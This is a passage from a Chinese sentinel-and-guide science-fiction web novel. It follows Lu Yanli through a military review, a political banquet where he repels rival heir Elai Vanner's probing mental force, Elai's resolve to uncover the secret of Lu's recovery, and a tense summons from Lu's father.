江寻心念流转，将这个念头深深埋入心底。 * 天盾群岛，星际联合指挥部，任务审议局的问询室内，此刻的气氛却不如外间的民众们所想象的那样轻松。 宽大的金属长桌的两端，一面坐着三位面色严肃的审议官，另一面，是脊背挺直着，目光直视向三人的陆厌离。 此刻，他还是刚下镇魂号时的那副装扮，军装一丝不苟，苍白的面色在明亮的顶灯照射下，有些透明，唯有那双绿色眼眸，始终深邃而平静。 战果核实和任务评估的流程进行得很快，具体的战斗数据、后勤报告与伤亡清单，早就已经总结上传到了数据中心中，此刻，三位审议官仅挑出了其中一些不够详尽的地方，对陆厌离进行问询与验证。 这些例行的流程陆厌离早已熟悉，回答得非常简洁准确。 终于，常规的汇报结束，坐在正中的审议长推了推眼镜，镜片后的目光刹时锐利起来：“陆厌离少将，据任务报告显示，M85星系的镇压行动早在星历四月二日便已彻底结束，根据舰队的航速，你最迟应于五月十日前返回中央星。但是，舰队的实际抵达时间，为九月三日，延误了近四个月。并且，有证据显示，你曾经在多条前往中央星的航道路线上，进行高强度的精神波动检测与排查。请你解释一下你的行为。” 陆厌离在对方严厉的目光下沉默了片刻。 扣在扶手上的指尖微微用力，随即又放松了开来。 他抬眼直视向当中的审议长，声音清晰：“报告审议长，是的，舰队在我的命令下，在返航途中，进行了额外的异常精神波动残留检测，旨在排查一项安全隐患，保障中央星系重点航路的长期安全。此项作业我已在返程之前报告第八军团长，由第八军团内部决议通过。” 这是他在回来之前与第八军团长事先对好的说辞，也提前将作业报告提交了上去。这样一来，便将军事行动转化为了第八军团的内部事务，虽然漏洞仍然不少，但按照责任划分来说，军部总审议局已经不便再过度深究了。 旁边坐着的另一位审议官，是一位明家出身的向导，从进门开始，看向陆厌离的眼神便不太友善，此时更是拿起了放在桌面上的文件，正要就一个漏洞追问下去，问询室的门却被轻轻敲响。一名副官走了进来，低声在审议长耳边说了几句什么。 下一刻，审议长目光微动，深深看了陆厌离一眼，沉吟片刻，摆了摆手挥退来人，答道：“知道了。” 副官闻言退下，审议长重新看向陆厌离时，语气已然缓和了许多：“刚才接到第八军团威尔逊军团长的通讯，他再次向审议局强调了，此次延期属于第八军团战时权限内的自主调度，并对你的指挥表现给与了肯定。” 他顿了顿，指尖在光屏上划过，在述职报告上打上了评估通过的钢印：“既然威尔逊将军愿意为此事负责，并且在任务延期期间，并没有造成任何的不良后果或资源异常损耗。那么此次任务征询，正式结束，所有结果会记录在案。陆少将，下次如有类似的长期作业，请提前向联合指挥部报备。” “是，感谢各位审议长。”陆厌离垂下眼帘，颔首应是。 至此，整个流程结束，此次任务正式宣告完结。 陆厌离托着军帽，一步步走出肃穆的审议局大楼，秋季微凉的空气拂过他的面庞，这才让他稍稍放松了下来。 一辆军车适时地滑到他的面前，后车窗降了下来，露出第八军团长威尔逊将军那张饱经风霜的脸。 “上车。” 一声简短的招呼后，陆厌离依言踏上了车子。 威尔逊军团长上下打量了一下陆厌离那张瘦削的面孔，在他有些黯淡的瞳孔上停顿了一下，抬手打开了后座的隔音挡板，这才叹了口气，问道：“过关了？” “嗯，”陆厌离点了点头，低声道谢，“多谢将军。” 这句感谢发自内心，当父亲与家族都不愿出力帮助他时，是威尔逊将军将舰队送到了他手下，供他调遣。没有威尔逊将军的维护，他这次的私人行为，也绝不会如此轻易的过关。 “哼，跟我少来这套。”威尔逊将军翻了个白眼，语气硬邦邦的，眼里却没有太多的责备，“哪个哨兵年轻的时候没为了向导做过蠢事？我知道你不是乱来的人……这么久了，还是没找到？” 陆厌离沉默着，摇了摇头。 但想起昨晚再次感受到的熟悉的精神力，又打起了一些精神。 看着陆厌离变换的神色，威尔逊眼中露出一些了然，拍了拍他的肩膀，动作有些生硬，似乎是想表达一些来自长辈的安慰，却因为少有此举，而显得有些别扭：“行了行了，在外面没找到就换个法子重新试呗，有什么大不了的，小子，给我振作起来。” “两天后，可还有一场大戏等着你呢，别给我丢人了。” * 两日后，议会宴会厅。 璀璨的灯光将水晶灯上垂吊而下的粒粒水晶映照得斑斓华丽，空气中香气浮动，大厅里衣香鬓影，觥筹交错。 穿着各色礼服的男男女女们端着酒杯，徜徉在这一片浮华中，一道道隐秘的交流，在眼角眉梢的交错间达成。 来自军、政、商、科界的各位重要人物，来回走动着低声交谈，目光却都不时地扫向入口的方向。 今天，是军部为陆厌离及其返航舰队举办的接风宴，但大家都心知肚明，欢迎英雄归来只是一个名义上的借口，它实际上是一场大型的社交宴会，宣告着陆家这柄顶级的利刃重新回到最高层的权力场。 “来了。”不知是谁先发现了动静，低语了一声，随即，大厅入口处出现了一阵轻微的骚动。 一道清晰的脚步声由远及近的出现，大门一开，一身深灰色礼服的身影出现在了门口。 是陆厌离。 今天，他换下了笔挺的军装，穿上了更加柔软的礼服，冷硬的气质比之刚刚回到中央星时收敛了许多。 一见他入场，几位军部的高层便笑着迎了上去，说起了官方的欢迎词。陆厌离也适时地颔首回应，话语虽简短，礼数却周全。 随后，便暂别了这几人，步入了大厅之中。 随着他的进入，人群开始不动声色地向着两侧移动开来，在他经过的时候让出更多的空间来，似乎是仍对靠近他心存顾忌。 各色目光或明或暗地落在他身上，饱含着种种意味的心思隐藏在虚假的面具之下。 就在众人以为，陆厌离又要如以往那般，选个不起眼的角落独自呆着，亦或走个过场便提前离场时，却惊讶地发现，今晚的他似乎有了些许不同。 他先是在场中环视了一圈，找到威尔逊军团长的位置后，主动上前打了个招呼。而后，虽然没有再次寻上其他同僚，却也没有在他人主动过来时特意回避。 对话虽依然略显疏淡，却好好地进行了下去，一直停留在人群的中心。 这样明显与以往迥异的表现，不由让周围暗中观察的人们纷纷露出了惊讶的神色。 “他这次回来……好像有点不一样了？” “似乎没以前那么不近人情了。” “错觉吗？他好像刚才还笑了一下……” 窃窃私语声，在熟识他的人群中开始蔓延。 “你们看，那几个什么都不知道就围上去的人，好像都没事？” “他还真的控制住他的毒素了？” “难道是真的？你们发现没，他这次回来，一直到现在都没有传出谁被他误伤的消息……” 几个对他以前的能力知之甚详的人面面相觑，脸上皆露出些不敢置信的神色来。 过去，除非万不得已，没人敢在陆厌离的身边久留，他那时而失控的强大毒系天赋，不知道误伤过多少人，连向导都不愿意为他疏导。 但是，这次康复归来，他竟然能控制住了？ “这……不止是康复了啊，怎么看样子，控制力比以前还强了？” “他究竟是怎么做到的？之前的信息是准确的吗？我记得他被放逐的时候，堕化值都快到90%了吧……” 几人惊疑不定，看着这堪称奇迹的一幕，一时不知该不该上前结交。 从这世上诞生哨兵向导以来，就没有堕化值超过90%还能保有清醒意识的，更不要说在这么短的时间内，恢复到这种程度的。 “如果……我是说如果，他要是能完全控制住自己的毒系能力的话，那这分量，可就完全不同了呀……” 不知谁，喃喃出声。 可这番话，却是观察到了这一幕的大部分人的心声。 当他无法完全控制住自己那致命的能力时，他只能算是一把危险的锋利尖刀，没有任何一个真正站在权力中心的人物，会随意将这样一个强大的不稳定因素留在身边；可若是他能完全控制住自己的能力，那他身份，就会由一个危险的武器，真正转变为一个值得投资的强有力合作者。 这两者之间的意义天差地别。 想清楚了这一点，一时间，许多原本还在观望的人们都开始蠢蠢欲动，想要第一时间上前去攀谈结交。 就在这时，一个略带讥诮的声音不大不小地响起，却恰好能让周围的一圈人都听到：“啧！真是一群没见过世面的家伙，不过一个S级哨兵，就让你们这么看重了？” 说话的人一身深紫色华丽礼服，一看便知出身不凡。他的眼神轻蔑地从身周那些明显意动的人身上扫过，轻嗤一声，晃了晃手中的红酒杯，下巴一抬，指向大厅的另一端，被更多人隐隐簇拥起来的一人。 “真正的顶级豪门，在那儿呢。”他接着说下去，面上的表情讥诮中，又带三分羡慕不甘，“凡纳家的大少爷，同样S级的顶级哨兵，伊莱·凡纳！认得吗？那才是真正手里有实权有资源，站在整个联盟顶端的男人。这样的人才值得费心去讨好。” “陆厌离？嗤！”他撇了撇嘴，不屑的表情明显，“不过就是一把被陆家握在手中的刀子罢了，别说实权了，他手下以前连个心腹都没有，还是这次出征，借着威尔逊的权力，才收拢了一批手下。他能为你们做什么？” “没看到他父亲，真正在陆家握着根本大权的陆大族长，都要围着凡纳大少爷转悠么？”他一眼看到伊莱身边的另一人，嗤笑一声用手指点了点，“不过也正常，陆家想在医疗领域从明家手里分一杯羹，没有凡纳家的支持，那想都不用想。” 这番话像一盆冷水，瞬间浇灭了不少人刚刚升起的热情。 众人顺着他的目光看过去，果然有几人认出了那位陆家的大族长，陆厌离的生父陆明远。此刻，他正端着酒杯，满面笑容地凑近人群的中心，与一位气质矜贵，高大俊帅的褐发青年交谈着，动作间，姿态放得很低。 而那位立于中央的褐发青年，伊莱·凡纳，此刻，只是带着淡淡笑意，礼貌地听着，偶尔颔首一下示意，更多的时候，都没有丝毫表情，将高位者的姿态展现得淋漓尽致。 这是真正的从出生就立于顶端的世家继承人才能培养出来的气场，与从小投入军中，凭借着强悍的武力搏杀出地位的陆厌离，完全不可同日而语。 在这番强烈的对比之下，刚刚因为看出陆厌离的投资潜力而兴起的冲动，似乎确实有些不值得了。 大部分顾及自家脸面的人，纷纷停下了脚步。 众人的议论声其实并不小，但耳聪目明的顶级哨兵，此刻却仿佛没有听到这些关于自己的议论。 陆厌离目光平静地掠过大厅，在触及自己的父亲与伊莱时，也没有丝毫停顿。见这会儿没有人再凑上来，他这才端起身边的酒杯，不声不响地走向了一旁的沙发。 从决定不再接受休眠那刻起，就意味着，他需要真正地学会这些“上层”人士的社交方式，融入其中，并从中汲取到真正的，能为自己所用的力量。而这场盛宴，对于他来说，便是一个很好的起点。 在他没有注意到的时候，人群的另一头，正被一群人簇拥在中央的伊莱，微微向着他的方向偏了偏头。若有似无的目光，穿越了中间的层层人群，落在了陆厌离的背影上。 男人那双似乎能洞悉一切的琥珀金眸子里，掠过一丝极淡的探究。 第152章 宴席过半， 许多暗地里的交易与逢迎，都已经不声不响地悄然达成。 众人的心情放松了下来，这才三三两两地与自己真正相熟的朋友聚在一起， 谈论起最近的各种热闻来。 伊莱端着一杯色泽金黄的酒液， 姿态闲适地走到了宴会厅一侧相对安静的角落里。 身边， 几位同样出身显赫的年轻男女或坐或立，漫无目的地闲聊着，偶尔有人的目光掠过站在大厅另一头的陆厌离时， 便引起几句混杂着好奇与轻蔑的猜测来。 “没想到他居然真的痊愈了， 看起来状态好像还恢复得不错？”一个身着鹅黄色长裙的女子小声说道，语气里带着几分不可思议。 他身旁身着深蓝色礼服的男人嗤笑一声，晃了晃酒杯：“也不知道愈灵殿是怎么做到的，不过，现在的‘状态好’恐怕也只是暂时的表象而已。” “哦？怎么说？”女子听着他好像知道什么内情的样子，感兴趣地追问道。 “你忘了？他可是一直没找到能匹配的高级向导。他那种特殊的天赋， 能匹配上的人太少了， 就算匹配上了， 也没几个人敢不怕死的接近他。好像听说他还从灵枢中心那里撤回了自己的匹配申请，也不知道是怎么想的。”男人撇了撇嘴， “他现在是刚刚靠着某种手段暂时康复了，所以看着没事， 可没有向导，他的能力继续使用下去， 堕化值只会再次快速升高，谁知道下一次什么时候就又要发疯了。” “说得对。”另一人接口，一边说着一边漫不经心地切着餐盘里的食物，“陆家不是一直拼了命地想要挤上来成为联盟第四家族么？可惜底子太薄， 当年被陆明远吞掉的苏家也没有消化完全。之前全靠着陆厌离一个人在军部拼杀，积累军功和政治资本，后来眼看着陆厌离不行了，又到处想办法找人援手。” “所以陆明远才肯拉下脸面隔着辈分来讨好我们伊莱少爷啊。”鹅黄长裙的女子掩嘴轻笑，目光瞟向在一旁一言不发的伊莱，“指望着从凡纳家指头缝里漏下点东西，好帮他们去和明家争一争呢！” 这些议论清晰地传入伊莱耳中，他却像没听到一样无动于衷。 能站在他身边一直留到现在的，无一不是家世、能力都高人一等的精英，哪会有人只是因为看不起，就在这种公开场合对一个有能力冲击联盟四大家族族长的人大放厥词？ 无非是心里对陆家生了忌惮，想借自己的手把陆家打压下去罢了。这种背后搞小动作，却不敢自己出手的小心思，在伊莱看来还不如陆明远光明正大的讨好。 看来时间长了，这些一直跟在自己身边的人，脑子也不清楚了，他的身边是时候该换一拨人了。 伊莱轻轻摇动着手中的酒杯，看着金色的酒液在水晶杯里流转，不动声色之间，已经决定了一群人的去留。 现在看来，这个陆厌离倒是很合适。 陆明远想和明家相争，以陆家的底蕴实力，短时间内根本不可能对凡纳家产生威胁。如果能在背后推他们一把，让他们从明家身上啃下一块肉来，这对他们凡纳家来说也是好事。 利益一致，信任的基础也就有了。 这个陆厌离，自身等级高，从小就一直为着家族出生入死，服从性、个人能力都没得说。如今更是恢复了过来，能控制住自己的能力了。这样一来，身上的最后一块短板也被弥补上了。 就算他将来还会再次崩溃疯狂也无所谓，短时间内，应该也算是个好用的工具。他可比现在这些只会依靠着家族势力在背后搞小动作的纨绔们有用多了。 想到这里，伊莱的目光越过场中喧闹的人群，落在另一头的陆厌离身上。 这位刚刚从疯狂的深渊中挣扎着爬回来的哨兵，正与一位主动找上他的军工行业代表说着话。任对面的人连比带划地兴奋描述，他都是如出一辙的沉静模样，只偶尔颔首，示意继续，比起从前那个不近人情的冰冷兵器，不知长进了多少。 而且……伊莱眯了眯眼，仔细观察着他周围的力场。 他周身的力场始终被束缚在体表不到五公分的范围之内，看起来便与身边其他的哨兵们没什么不同，甚至比起许多A级哨兵来说，力场的凝聚范围还要小……这种稳定性，太不寻常了。 身为与其相同的联盟顶尖S级哨兵，伊莱比任何人都清楚他们与低阶哨兵之间的差距。 不论是哨兵还是向导，每相差一个等级，精神力总量上的跃升几乎达到了十倍以上。若把A级哨兵的精神力比作山羊，那么S级哨兵就是大象。把山羊和大象分别塞进冰箱里，难度根本不能相提并论。 像他们这样的顶级哨兵，一旦失控堕化，被污染的精神力也会比其他人多十倍，想要把他们重新拉回来，难度之高，那些自身没到这个等级的人，根本就理解不了。 更何况，陆厌离还觉醒出了特殊天赋，曾经的堕化值更是逼近临界点，能够让他恢复到现在这样的状态，几乎不可能。 伊莱眯了眯眼，稍稍提起了兴趣。看来这个陆厌离，身上还藏着秘密啊。 伊莱将手中的酒液一饮而尽，随手将空杯放下，重新挂起那副惯常的矜贵微笑，在身边几人难看的脸色中，缓步穿过人群，向着大厅另一侧的陆厌离走去。 他所过之处，交谈声会不自觉地低下去几分，路径上挡着的人群纷纷向两侧退避，待看清他的目标，更多的目光状若不经意地向着站在角落里的陆厌离投去。 那边正与陆厌离说着话的军工代表，敏锐地察觉到了周遭的动静，回头一见伊莱正在向着他们的方向走来，先是一惊，之后，便立刻明白了对方的来意。自己刚刚攀谈上的投资对象，居然能得凡纳家大少爷亲自前来交际！他的情绪一下子比刚才更加热切了起来，看向陆厌离的目光也更添敬畏。 可此时，显然不宜再将他们的对话进行下去了，他赶忙向陆厌离双手递上了自己的名片，之后迅速地退了开去，为已经走至近前的凡纳家大少爷让出位置。 伊莱路过的时候赞许地看了这个很有眼色的商人一眼，对方立刻兴奋地鞠躬致礼。伊莱不置可否地一笑，便毫不停留地越过此人，站在了陆厌离的身前。 此时，两人周围的人群已经默契地纷纷退开了些许，为他们隔出了一片较为私密的空间。却又不走远，眼角余光中，始终关注着这边的动静。 “陆少将，”伊莱在距离他两步远的地方停下了脚步，温和的声音中带着一丝宽慰，“许久没有在中央星见过你了，军部怎么能把这么辛苦的任务交给一个刚刚从堕化中恢复的哨兵呢？这次回来，可要多留一段时间，在中央星好好修养修养。” “凡纳少爷，”陆厌离闻言颔首致意，“军部的任务是我自愿去的，不过还是多谢您的关心。” 陆厌离没有继续挑起话头，伊莱也不介意，把这句回答放进心里咂摸了一下，自然而然地又靠近了半步，更加拉近了彼此的距离，像是真的和陆厌离有旧一般：“能看到你康复回归，我很高兴。原来这任务是你主动请缨的？看来陆少将对自己的恢复状况……非常有信心？” 伊莱带着些探究看向陆厌离，下一刻，不等对方回答，被束缚在身周的精神力场悄然一张，无声无息地向着陆厌离蔓延了过去。 这不是攻击，只是一种高阶哨兵之间常见的，带着些试探意味的“接触”。这种直接的力量碰撞，能够让双方对于彼此的实力产生一个更加直观准确的判断，尤其是在高阶哨兵面对低阶哨兵时，有时候甚至都不会被对方察觉，一碰之间，便能摸清对方的底细。 对伊莱这样，觉醒的特殊天赋是场域类技能的哨兵来说更是如此，这样的接触，往往能够让他在初见时，就将对方的实力信息完全摸清，夺得谈话的主动权。 即使对方是同为S级的陆厌离，他也不觉得自己会落在下风。 自己虽然同样没有绑定向导，但几乎没有需要完全拟化亲自战斗的时候，对于精神图景的污染微乎其微。 而外部的污染，也有无数的向导排着队等着为他疏导，可以说，只要他没有失心疯地在短时间内大量使用拟化，即使没有绑定向导，一直到死亡，他都几乎不可能堕入疯狂。 更何况，他还有特殊天赋加成。 在同等级的哨兵中，他不可能在这种自己最擅长的领域输。 然而，当他的精神力场刚刚触及到陆厌离体表那层内敛的立场边缘时，异变陡生！ 那原本沉静平和的力场，在他主动触碰的瞬间，仿佛被突然惊醒的毒蛇一般，先是骤然一缩再次向着内部凝聚，而后，瞬间化为一道极其凝练的尖刺，沿着他试探过去的那道力场，闪电般反溯而回！ 这一下变故来得太快太猛，完全超出了伊莱的预料！ 在他的认知里，同为身份贵重的顶级世家子弟，面对他这样身份的人亲自动手的试探，即使是他先出的手，对方的第一反应也应该是防御或者回避。 他万万没想到，对方下意识的反应竟然如此果断狠绝，只是初步的接触，便瞬间发起了凌厉的反击！ “唔！” 伊莱只觉得一股尖锐冰冷，还带着某种奇异侵蚀感的精神力猛地刺入了自己的力场之中，猝不及防之下，他本能地浑身剧烈一震，控制不住地向后踉跄了一步，鞋跟与光洁的地面摩擦，发出轻微却刺耳的声响。 挂在脸上的笑容瞬间僵住，伊莱脸色猛地一沉，眼中飞速掠过一丝惊怒！ 陆厌离！他怎么敢？！ 他竟敢在这种各方重要人物云集的公开场合里对他反击？他的精神力有多毒他自己难道不知道？从他进入公众的视野开始，曾经误伤过多少人？为此受到过多少责罚？他怎么敢的？ 若是自己因此中毒或是出了什么意外，联盟不知会引发多大的震荡，搭上整个陆家都未必能平息凡纳家的怒火，他疯了吗？ 顾不上再去管这个疯子，伊莱第一时间调动起了体内的磅礴精神力，护住自身的精神核心，他的性命比对方贵重的多，他绝不允许自己因为这种不知天高地厚的疯子而受损。 同时，厉声质问几乎已经到了嘴边。 然而，下一秒，伊莱的表情和话语都卡住了。 他的精神力在意念的操纵下，在体内纵横来去，毫无滞涩。预想中的毒素侵蚀与精神污染，一点儿痕迹也没有。 那道侵入了他力场之中的尖锐力量，在完成了对自己的那一下迅猛反击之后，便如潮水般瞬间逸散了开来，退得干干净净，没有在他的体内留下丁点儿残留。 除了最初在精神层面上受到的那一下刺击之外，他浑身上下再无任何不适的地方。 不仅如此，伊莱迅速环顾四周一圈，发现周围那些一直暗暗关注着他们的人，只是目露疑惑地小心看了看他，似乎不明白他为什么会突然踉跄了一下，眼中没有一丝一毫的惊讶之色。 就像……就像他们一点儿也没发现刚刚发生在两人之间，那电光火石间的交锋。 伊莱的心猛地往下一沉，被反击的愤怒，迅速被一种更深的惊疑所取代。 恰在此时，陆厌离仿佛才反应过来一般，目露恍然地看向他，随即歉意地向他微微颔首：“抱歉，凡纳少爷，在危险的地方呆惯了，遇到陌生的精神力下意识就反击回去了。您没事吧？” 伊莱迅速冷静了下来，这一下出乎意料地交锋，让他彻底认真了起来，眯起眼睛，重新看向陆厌离。 对方仍站在原地，一动都没有动，略显苍白的脸上，即使说着道歉的话语，也依旧没有什么表情。一双绿色的眸子平静幽深，丝毫看不出方才的反应，是他口中所说的下意识反击还是故意为之。但毫无疑问，不管是哪一样，都是对自己最直接的警告。 冷静下来之后，刚才几秒钟之内所发生的一切如回马灯般在他心中重演，一个刚才来不及思索的事实被他瞬间洞悉。 陆厌离岂止是如所有人以为的那样“康复”了，能控制住自身毒素的逸散了。他对自身力量的掌控，完全是迈上了一个新的台阶。 不说那迅捷的敏锐度与反应速度，单是他对自身天赋的那种控制力，就已经到了一个称得上精妙的境界。 刚才自己分明从那道反击而来的精神力中，感受到了一种独特的侵蚀穿透力，其中绝对蕴含着他的毒系天赋，否则自己的力场也不会这么轻易被突破。 但他却能在发挥出冲击力的刹那时间内，完美将这种毒素约束起来重新收了回去，没有真正伤到他分毫。 更不要说，他的这一次反击，简直是将精神力凝聚到了极致，只针对了自己一个人，站在咫尺之外的围观者，甚至都没有发现这次反击的存在。 这种对于自身精神力的控制力，简直恐怖。 更何况……伊莱的后背微微渗出了一层细密的汗珠。 刚才的一番攻防轮转，虽然时间非常短暂，但他们彼此的精神力确确实实地接触到了，可他却没有从这一次的接触中获得对方的任何信息。 这意味着……眼前的人，精神力的强度已经远远超越了自己！ 不论是控制力还是精神力的强度，对方都已经迈上了另一个全新的台阶，这样的实力，岂止是一个“精神康复”所能解释的？ 在过去，即使是全盛时期，陆厌离的力量也无法与自己相比。 若是他连精神力总量都有了长足的增长的话…… 伊莱突然想起了之前，曾经从一份手下人递上来的情报中，看到过的一个荒谬传闻…… 作为凡纳家族的第一继承人，他能得到的信息、情报，根本不是外界的人群能想象到的。他早就知道，面前之人这一次奇迹般的恢复，起关键作用的并不是愈灵殿。 愈灵殿只是在他的精神状况有了起色之后，在后面推了一把，让他恢复得更好了一些。 他记得，在那份秘密传送过来的情报里，曾经提到，在陆厌离回返到中央星，接受愈灵殿治疗的那段时间里，曾经短暂地流传出一个模糊的传闻，说他这次复原后的实力变得更强了，甚至触摸到了传说中SS级的门槛。 因为这条情报太过荒谬，后来又再无后续的客观现象能够佐证，他便把这当做一条夸大其词的谣言，抛掷在了脑后。 难道……这个传闻是真实的？！ SS级？！ 这个单词在伊莱脑海中炸响。 但凡接受过基础的哨向知识的人都知道，这只是一个理论上存在，却从未在现实中出现过的等级。从古至今，从未有任何一个哨兵或向导能够达到这个领域。 这个等级，对于精神力总量与强度质量的要求，极度苛刻，几乎超越了作为人类的极限。若有人能够达到，那不仅仅是一个等级的提升，而是一种根本性的蜕变，是生命层次的跃升！ 如果陆厌离真的已经踏上了这样的道路，那他对于联盟的重要性、对于整个人类社会的意义，都将产生翻天覆地的变化。 他未来能够达到的地位，将不可限量！ 伊莱看着眼前这个外表完全看不出异常的人，几分钟之前产生的那种想要将其收归在麾下的念头，瞬间消失的无影无踪。 取而代之的，是强烈的警惕与防备。 一个SS级哨兵，没有任何人或者势力能够完全掌控他。他的未来，甚至可能凌驾于自己之上！ 他决不允许这种情况在自己的眼皮子底下发生！ 最起码，在他真正接过凡纳家的大权，成为执掌棋盘的人之前，决不能发生！ 伊莱的大脑飞速运转了起来。 陆厌离的突然痊愈与诡异的能力进阶，绝对有一个至关重要的原因在其中发挥了作用，这里面，一定有一个关键的秘密！ 这个秘密是什么？是某种技术？某种药物？某个奇异的物品？还是说……某个人？ 伊莱的眼睛眯起来，一边不动声色地仔细观察着面前的男人，一边快速在脑海中回忆起看过的关于陆厌离的情报。 他因为即将彻底堕化被放逐在了寂静星，本该在几个月后随着寂静星静默日的到来，彻底爆发疯狂失去作为人的意识。 可他没有，明明经历了足以令他崩溃的自然灾难，却存活了下来，甚至重新恢复了人形，杀死了袭击者，驾驶着登陆舰重新回到了中央星。他获得转机的关键时间点，一定是还在寂静星上的时候！ 回来之后的一段时间里，因为受伤、精神状况不稳定，他被愈灵殿带走治疗，后来才传出了谣言。那么，他能力的跃升，应该就发生在这段时间里。 后来，他的状况还没完全稳定下来，就自己申请了前往边缘星系的任务，奔赴了战场…… 边缘星系？那个任务的地点是哪里来着？ 伊莱精神一振！想了起来，对了，是M85星系！而寂静星在哪里？M87星系！ 他完成任务之后，没有立刻返航，而是动用舰队，耗费了数月时间，在返航回来的路上一寸寸搜索了过去！ 他的那些理由，能糊弄住审议局的那帮人，却不可能糊弄到他。 所有的线索连接成线，一个大胆的猜想浮现在了伊莱心中。 陆厌离在寂静星上是因为遇到了意外袭击，才返回中央星的。有没有一种可能，他原本在寂静星上获得了这个能够让他痊愈，并且继续进阶的关键“秘密”之后，并没有将这个“秘密”蕴含的作用发挥到最大？ 因为那次突然的袭击，他的进阶被打断了，这个“秘密”也因此丢失了，所以，他才在稍微恢复过来之后，又不惜代价地跑回去，想要把它找回来？ 他认为，只要找回了那个关键秘密，他就可以继续晋升，从而真正突破SS级？！ 这个“秘密”难道只能对陆厌离生效吗？ 如果……如果自己能够先于陆厌离，找到这个“秘密”呢？ 一股难以言喻的灼热瞬间席卷了伊莱的内心。 第153章 如果这个关键的“秘密”能够将一个濒临崩溃的陆厌离， 一手推到如今这般强大，近乎SS级的程度，那是否意味着， 它也有可能……成就他伊莱·凡纳？ 这个念头在脑海中浮现的刹那， 一股前所未有的灼热， 瞬间席卷了伊莱的内心。这远比刚才陆厌离那下意识的精神力反击更令他感到震撼！ 从小到大，作为凡纳家毋庸置疑的第一继承人，伊莱无论想要什么都唾手可得， 这还是他第一次如此迫切地想要得到一个存在。 伊莱迅速收敛起了脸上所有外露的情绪， 重新戴回了那副无懈可击的温和面具。仿佛并没有对陆厌离刚才的悍然反击产生任何不满，微微颔首，表明自己已经接受了陆厌离的歉意。 随后，简单地与对方寒暄了几句，便找了个借口歉意告辞。 他没有再回到那群少爷小姐们聚集的角落里，而是步伐从容地径直走向了宴会厅的出口， 一路上没有理会任何人的搭讪或是挽留。 他的表现依然和以往一样， 似乎只是厌倦了继续进行这些无聊的交际。可只有他自己知道， 胸腔里那颗心脏正在如何剧烈地跳动着。 直到走出了宴会厅的大门，被冰冷的夜风拂面而过， 那已然开始发烫的头脑，才稍稍冷静了下来。 专属座驾无声在他身前停下， 伊莱坐进后座，一秒钟也没耽搁， 直接升起了隔音壁障。 靠上微微冰凉的后座，闭目沉思了片刻，再睁开眼时，眼神中已经燃起了势在必得的光芒。 他抬手， 划动手指在终端上拨出一个通讯。 下一刻，一个恭敬沉稳的声音在车厢内响起。 “少爷，有什么吩咐？” “亚伯，”伊莱冷声下令，“我要陆厌离最近一年之内所有的行踪报告，越详细越好。尤其是他被联盟放逐到寂静星之后，直至这次任务结束，返回中央星之前。这段时间内的所有信息，包括他被放逐期间从最高智脑那里传来的异常报告、医疗档案，以及这一次的镇压任务结束之后，所有的航行日志、补给地点。” 他顿了顿，补充道：“特别是他在那些枢纽星上搜索时，打听过的消息，接触过的人，这些信息，能弄到多少就要多少！” 终端那头的亚伯没有丝毫的迟疑，沉声应下：“明白，少爷。” 悬浮车无声地滑入车水马龙之中，伊莱挂断了通讯，回望向宴会厅的方向，眸光在霓虹闪烁的夜色中被映照得模糊。 “陆厌离，让我来看看吧，你究竟遇到了一个什么样的‘奇迹’。” * 宴会结束，已近深夜。 辞别了威尔逊军团长和第八军团的其他同僚，陆厌离准备回家，刚走出大门，一辆悬浮车就在他的面前停了下来。 神情严肃的老管家开门下车，身子深深地躬了下去。 “三少爷，老爷吩咐，让您宴会结束后回老宅一趟。” 陆厌离手指一紧，方才与同僚们相聚时的轻松心情一扫而空。 “三少爷，老爷已经等你很久了。”见陆厌离没有立即应声，管家迈前一步，再次开口，姿态依旧恭敬，但那不容置疑的语气，像极了他的主人。 陆厌离深深看了这位也算是看着他长大的老人一眼，迈步坐进了后座。 悬浮车迅速启动，穿过瑰丽喧闹的商业街，一路向着深邃的宅院驶去。一刻钟后，无声降落在了陆家老宅那戒备森严的庭院之中。 陆厌离走下车，望向面前这已经变得陌生的庭院。 秋风萧瑟，吹动一排排有序布置的黝深林木，哗哗作响。原本应该清新舒畅的气息仿佛都被这座沈甸甸的老宅压制住了，弥漫着一股行将就木的味道。 管家已经行在了前方，仍旧躬着身，手臂直愣愣地举着，为他引路。 陆厌离自嘲地笑了笑，如今，回一趟这个名义上的“家”，他们都怕他不认得路了？ 心中对于这位老管家仅存的些许濡慕之情也消失殆尽，陆厌离没有再停留，径直地越过对方，穿过幽深的廊道，走向主宅最中心的书房位置。 明明沿路都是躬身侍立的仆人，靴跟敲击在石质的平整地面上，发出的回响却冰冷而孤寂。 书房的大门虚掩着，管家当先一步为陆厌离推开了房门，便后退一步，无声无息地隐入了门后的阴影里。 陆厌离一步踏入，大书房里的景象便展现在了他的面前。 整个书房非常宽敞，深色实木铺就的地板，配上同样质料的书柜与书桌，整体营造出了一种肃穆威严的氛围。 此刻，仍然身着一身正装的中年男人，正背着手站在旁侧巨大的窗户前，望向点缀着几盏灯火的庭院。听到门口传来的脚步声，没有立刻转身。 陆厌离早已习惯了父亲一贯的做派，这样的表现，说明他动了怒，正在等待着自己主动认错。可如今，他不想再如他所愿了。 他同样一句话也没说，就这么静静站着沉默等待，两人之间的空气逐渐凝滞下来，每一秒都似乎被拉得无比漫长。 终于，还是陆明远先忍不住了。他缓缓转过了身，眉宇之间有着权势刻下的烙痕，但目光仍如十几年前一样高傲而锐利。此刻，他的双目中蕴含着毫不掩饰的怒火，与晚间在宴席上满面笑容地奉承伊莱时的模样天差地别。 “你还知道回来？”陆明远的声音压得极低，十足的压迫感扑面而来，“陆厌离，你现在眼里还有没有陆家？有没有我这个父亲！” 他的声音陡然拔高，语速快得如狂风骤雨：“回来第一时间不回家族里报到，反而在军部里一躲好几天！是不是我今天不叫你回来，你还打算继续躲下去？” “拖延返航将近四个月，把我的命令当做耳旁风！你是不是以为自己现在痊愈了，实力更上一层楼了，就可以做自己的主，不把我放在眼里了？！”陆明远越说面色越是难看，声音几近咆哮，“你不要忘了，是谁在你身上投入了巨量的资源才让你恢复成这个样子的！没有陆家，没有我，你早就死了！” 陆厌离恹恹地低垂下眼睑，对于陆明远的指责没有露出任何表情，仿佛这些愤怒的斥责都是过耳云烟。 他这幅油盐不进的模样更加激怒了陆明远，他猛得踏前一步，深沉的怒意如乌云压城：“你摆出这幅样子给谁看？真是翅膀硬了！你以为我想让你回来？要不是你大哥不在了，我用得着为了陆家这么殚精竭虑吗？这一切都是谁害的？！” 听到“大哥”二字，陆厌离一直低垂着的眼睫终于剧烈地颤动了一下，手指猛得攥紧。 